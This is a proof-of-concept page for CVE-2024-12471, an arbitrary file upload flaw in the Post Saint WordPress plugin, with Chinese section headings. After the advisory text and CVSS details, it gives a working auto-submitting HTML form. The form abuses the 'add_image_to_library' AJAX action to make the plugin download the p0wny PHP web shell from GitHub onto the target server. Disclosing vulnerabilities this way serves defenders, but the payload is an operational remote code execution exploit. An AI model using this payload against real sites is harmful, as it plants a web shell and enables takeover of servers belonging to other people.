CVE-2024-12471 PoC — WordPress plugin Post Saint 代码注入漏洞

Description

Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload

介绍

# CVE-2024-12471
Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload

# Description

The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.

## Details

- **Type**: plugin
- **Slug**: post-saint
- **Affected Version**: 1.3.1
- **CVSS Score**: 8.8
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-12471
- **Status**: Closed

POC
---
```
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="add&#95;image&#95;to&#95;library" />
      <input type="hidden" name="image&#95;url" value="https&#58;&#47;&#47;raw&#46;githubusercontent&#46;com&#47;flozz&#47;p0wny&#45;shell&#47;refs&#47;heads&#47;master&#47;shell&#46;php" />
      <input type="hidden" name="image&#95;prompt" value="say&#32;hello" />
      <input type="hidden" name="insert&#95;prompt&#95;media&#95;library&#95;fields" value="caption&#95;description" />
      <input type="hidden" name="image&#95;generator" value="pexels" />
      <input type="hidden" name="log&#95;id" value="1667" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

文件快照

备注